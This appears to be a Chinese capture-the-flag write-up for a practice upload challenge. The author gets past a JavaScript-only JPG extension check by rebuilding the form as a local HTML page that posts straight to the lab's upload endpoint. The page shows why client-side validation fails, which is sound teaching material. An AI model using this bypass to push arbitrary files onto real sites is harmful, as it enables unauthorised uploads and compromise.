请上传一张jpg格式的图片 分值: 100
只能上传jpg格式的图片哦~！
通关地址
通关地址
看源码，js做的文件后缀验证，极端不安全。由于我没有开brupsuit，所以将源代码复制到本地，新建一个html，内容如下：
<html>
<head>
<meta http-equiv=Content-Type content="text/html;charset=utf-8">
<title>upload 1</title>
</head>
<body>
请上传一张JPG格式的图片！
<form action="http://lab1.xseclab.com/upload1_a4daf6890f1166fd88f386f098b182af/upload_file.php" method="post" enctype="multipart/form-data">
<label for="file">文件名</label>
<input type="file" name="file" id="file" />
<br />
<input type="submit" name="submit" value="上传" />
</form>
</body>
</html>
<!--在form的action那里需要将url改为绝对路径，否则会失败-->
去掉js检查，浏览器打开这个html提交，get flag success :)
220
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
